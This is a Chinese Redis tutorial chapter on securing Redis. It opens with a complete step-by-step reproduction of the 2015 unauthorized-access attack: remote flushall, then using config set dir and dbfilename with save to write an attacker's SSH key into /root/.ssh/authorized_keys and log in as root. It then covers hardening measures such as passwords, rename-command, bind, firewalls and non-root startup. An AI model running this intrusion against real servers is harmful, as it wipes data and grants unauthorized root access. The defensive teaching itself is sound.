Redis入门完整教程:安全的Redis

2015年11月,全球数万个Redis节点遭受到了攻击,所有数据都被清除
了,只有一个叫crackit的键存在,这个键的值很像一个公钥,如下所示。
127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9p
HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlq
PgzrzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF
0JLTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGD
l1kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_xx_192\n\n\n\n"
数据丢失对于很多Redis的开发者来说是致命的,经过相关机构的调查
发现,被攻击的Redis有如下特点:
·Redis所在的机器有外网IP。
·Redis以默认端口6379为启动端口,并且是对外网开放的。
·Redis是以root用户启动的。
·Redis没有设置密码。
·Redis的bind设置为0.0.0.0或者""。
攻击者充分利用Redis的dir和dbfilename两个配置可以使用config set动态
设置,以及RDB持久化的特性,将自己的公钥写入到目标机器
的/root/.ssh/authotrized_keys文件中,从而实现了对目标机器的攻陷。攻击过
程如图12-2所示。

Redis入门完整教程:安全的Redis_第1张图片

机器A是攻击者的机器(内网IP:10.10.xx.192),机器B是被攻击者机
器(外网IP:123.16.xx.182),上面部署着一个满足上述五个特性的Redis,
下面我们来模拟整个攻击过程。
1)首先确认当前(攻击前)机器A不能通过SSH访问机器B,因为没有
权限:
#ssh [email protected]
[email protected]'s password:
2)由于机器B的外网对外开通了Redis的6379端口,所以可以直接连接
到Redis上执行flushall操作,注意此时破坏性就已经很大了,如下所示:
#redis-cli -h 123.16.xx.182 -p 6379 ping
PONG
#redis-cli -h 123.16.xx.182 -p 6379 flushall
OK

3)在机器A生成公钥,并将公钥保存到一个文件my.pub中:
# cd /root
# ssh-keygen -t rsa
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
# cat my.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU
5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNAzdj
+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root@zw_xx_192
4)将键crackit的值设置为公钥。
cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit
OK
redis-cli -h 123.16.xx.182 -p 6379 get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHP
SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgz
rzYflP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0J
LTU5fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1
kTNAzdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q
== root@zw_94_190\n\n\n\n"
5)将Redis的dir设置为/root/.ssh目录,dbfilename设置为
authorized_keys,执行save命令生成RDB文件,如下所示:
123.16.xx.182:6379> config set dir /root/.ssh
OK
123.16.xx.182:6379> config set dbfilename authorized_keys
OK
123.16.xx.182:6379> save
OK
此时机器B的/root/.ssh/authorized_keys包含了攻击者的公钥,之后攻击者
就可以“为所欲为”了。
6)此时机器A再通过SSH协议访问机器B,发现可以顺利登录:
[@zw_94_190 ~]# ssh [email protected]
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192

登录后可以观察/root/.ssh/authorized_keys,可以发现它就是RDB文件:
#cat /root/.ssh/authorized_keys
REDIS0006tcrackitA
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsGWAoHYwBcnAkPaGZ565wPQ0Ap3K7zrf2v9pHPSqW+n
8WqsbS+xNpvvcgeNT/fYYbnkUit11RUiMCzs5FUSI1LRthwt4yvpMMbNnEX6J/0W/0nlqPgzrzY
flP/cnYzEegKlcXHJ2AlRkukNPhMr+EkZVyxoJNLY+MB2kxVZ838z4U0ZamlPEgzy+zA+oF0JLTU5
fj51fP0XL2JrQOGLb4nID73MvnROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VD0xGDl1kTNA
zdj+jOA1Jg1SH53Va34KqIAh2n0Ic+3y71eXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUEhT5Q== root
@zw_xx_192
谁也不想自己的Redis以及机器就这样被攻击吧?本节我们来将介绍如
何让Redis足够安全。
Redis的设计目标是一个在内网运行的轻量级高性能键值服务,因为是
在内网运行,所以对于安全方面没有做太多的工作,Redis只提供了简单的
密码机制,并且没有做用户权限的相关划分。那么,在日常对于Redis的开
发和运维中要注意哪些方面才能让Redis服务不仅能提供高效稳定的服务,
还能保证在一个足够安全的网络环境下运行呢?下面将从7个方面进行介
绍。 

12.3.1 Redis密码机制
1.简单的密码机制
Redis提供了requirepass配置为Redis提供密码功能,如果添加这个配
置,客户端就不能通过redis-cli–h{ip}–p{port}来执行命令。例如下面启动一
个密码为hello_redis_devops的Redis:
redis-server --requirepass hello_redis_devops
此时通过redis-cli执行命令会收到没有权限的提示:
# redis-cli
127.0.0.1:6379> ping
(error) NOAUTH Authentication required.
Redis提供了两种方式访问配置了密码的Redis:
·redis-cli-a参数。使用redis-cli连接Redis时,添加-a加密码的参数,如
果密码正确就可以正常访问Redis了,具体操作如下:
# redis-cli  – h 127.0.0.1  – p 6379  – a hello_redis_devops
127.0.0.1:6379> ping
PONG
·auth命令。通过redis-cli连接后,执行auth加密码命令,如果密码正确就
可以正常访问访问Redis了,具体操作如下:
# redis-cli
127.0.0.1:6379> auth hello_redis_devops
OK
127.0.0.1:6379> ping
PONG

2.运维建议
这种密码机制能在一定程度上保护Redis的安全,但是在使用requirepass
时候要注意一下几点:
·密码要足够复杂(64个字节以上),因为Redis的性能很高,如果密码
比较简单,完全是可以在一段时间内通过暴力破解来破译密码。
·如果是主从结构的Redis,不要忘记在从节点的配置中加入
masterauth(master的密码)配置,否则会造成主从节点同步失效。
·auth是通过明文进行传输的,所以也不是100%可靠,如果被攻击者劫
持也相当危险。

12.3.2 伪装危险命令
1.引入rename-command
Redis中包含了很多“危险”的命令,一旦错误使用或者误操作,后果不
堪设想,例如如下命令:
·keys:如果键值较多,存在阻塞Redis的可能性。
·flushall/flushdb:数据全部被清除。
·save:如果键值较多,存在阻塞Redis的可能性。
·debug:例如debug reload会重启Redis。
·config:config应该交给管理员使用。
·shutdown:停止Redis。
理论上这些命令不应该给普通开发人员使用,那有没有什么好的方法能
够防止这些危险的命令被随意执行呢?Redis提供了rename-command配置解
决这个问题。下面直接用一个例子说明rename-command的作用。例如当前
Redis包含10000个键值对,现使用flushall将全部数据清除:
127.0.0.1:6379> flushall
OK
例如Redis添加如下配置:
rename-command flushall jlikfjalijl3i4jl3jql34j

那么再执行flushall命令的话,会收到Redis不认识flushall的错误提示,
说明我们成功地用rename-command对flushall命令做了伪装:
127.0.0.1:6379> flushall
(error) ERR unknown command  ‘ flushall ’
而如果执行jlikfjalijl3i4jl3jql34(随机字符串),那么就可以实现
flushall的功能了,这就是rename-command的作用,管理员可以对认为比较危
险的命令做rename-command处理:
127.0.0.1:6379> jlikfjalijl3i4jl3jql34j
OK
2.没有免费的午餐
rename-command虽然对Redis的安全有一定帮助,但是天下并没有免费
的午餐。使用了rename-command时可能会带来如下麻烦:
·管理员要对自己的客户端进行修改,例如jedis.flushall()操作内部使
用的是flushall命令,如果用rename-command后需要修改为新的命令,有一定
的开发和维护成本。
·rename-command配置不支持config set,所以在启动前一定要确定哪些
命令需要使用rename-command。
·如果AOF和RDB文件包含了rename-command之前的命令,Redis将无法
启动,因为此时它识别不了rename-command之前的命令。
·Redis源码中有一些命令是写死的,rename-command可能造成Redis无法

正常工作。例如Sentinel节点在修改配置时直接使用了config命令,如果对
config使用rename-command,会造成Redis Sentinel无法正常工作。
3.最佳实践
在使用rename-command的相关配置时,需要注意以下几点:
·对于一些危险的命令(例如flushall),不管是内网还是外网,一律使
用rename-command配置
·建议第一次配置Redis时,就应该配置rename-command,因为rename-
command不支持config set。
·如果涉及主从关系,一定要保持主从节点配置的一致性,否则存在主
从数据不一致的可能性。

12.3.3 防火墙
可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围,
在比较成熟的公司都会对有外网IP的服务器做一些端口的限制,例如只允许
80端口对外开放。因为一般来说,开放外网IP的服务器中Web服务器比较
多,但通常存储服务器的端口无需对外开放,防火墙是一个限制外网访问
Redis的必杀技。

12.3.4 bind
1.对于bind的错误认识
很多开发者在一开始看到bind的这个配置时都是这么认为的:指定
Redis只接收来自于某个网段IP的客户端请求。
但事实上bind指定的是Redis和哪个网卡进行绑定,和客户端是什么网
段没有关系。例如使用ifconfig命令获取当前网卡信息如下:
eth0 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:02
inet addr:10.10.xx.192 Bcast:10.10.xx.255 Mask:255.255.255.0

eth1 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:03
inet addr:220.181.xx.123 Bcast:220.181.xx.255 Mask:255.255.255.0

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

包含了三个IP地址:
·内网地址:10.10.xx.192
·外网地址:220.181.xx.123
·回环地址:127.0.0.1
如果当前Redis配置了bind10.10.xx.192,那么Redis访问只能通过
10.10.xx.192这块网卡进入,通过redis-cli–h220.181.xx.123–p6379和本机redis-
cli–h127.0.0.1–p6379都无法连接到Redis。会收到如下操作提示:
# redis-cli  – h 220.181.xx.123  – p 6379
Could not connect to Redis at 220.181.xx.123:6379: Connection refused

只能通过10.10.xx.192作为redis-cli的参数:
# redis-cli  – h 10.10.xx.192
10.10.xx.192:6379> ping
PONG
bind参数可以设置多个,例如下面的配置表示当前Redis只接受来自
10.10.xx.192和127.0.0.1的网络流量:
bind 10.10.xx.192 127.0.0.1
运维提示
Redis3.0中bind默认值为””,也就是不限制网卡的访问,但是在Redis3.2
中必须显示的配置bind0.0.0.0才可以达到这种效果。
2.建议
经过上面的实验以及对于bind的认识,可以得出如下结论:
·如果机器有外网IP,但部署的Redis是给内部使用的,建议去掉外网网
卡或者使用bind配置限制流量从外网进入。
·如果客户端和Redis部署在一台服务器上,可以使用回环地址
(127.0.0.1)。
·bind配置不支持config set,所以尽可能在第一次启动前配置好。
Redis3.2提供了protected-mode配置(默认开启),它的含义可以用如下
伪代码解释。

if (protected-mode && !requirepass && !bind) {
Allow only 127.0.0.1,::1 or socket connections
Deny (with the long message ever!) others
}
如果当前Redis没有配置密码,没有配置bind,那么只允许来自本机的
访问,也就是相当于配置了bind127.0.0.1。

12.3.5 定期备份数据
天有不测风云,假如有一天Redis真的被攻击了(清理了数据,关闭了
进程),那么定期备份的数据能够在一定程度挽回一些损失,定期备份持久
化数据是一个比较好的习惯。

12.3.6 不使用默认端口
Redis的默认端口是6379,不使用默认端口从一定程度上可降低被入侵
者发现的可能性,因为入侵者通常本身也是一些攻击程序,对目标服务器进
行端口扫描,例如MySQL的默认端口3306、Memcache的默认端口11211、
Jetty的默认端口8080等都会被设置成攻击目标,Redis作为一款较为知名的
NoSQL服务,6379必然也在端口扫描的列表中,虽然不设置默认端口还是有
可能被攻击者入侵,但是能够在一定程度上降低被攻击的概率。

12.3.7 使用非root用户启动
root用户作为管理员,权限非常大。如果被入侵者获取root权限后,就
可以在这台机器以及相关机器上“为所欲为”了。笔者建议在启动Redis服务
的时候使用非root用户启动。事实上许多服务,例如Resin、Jetty、HBase、
Hadoop都建议使用非root启动。

你可能感兴趣的:(Redis入门完整教程,redis,安全,java)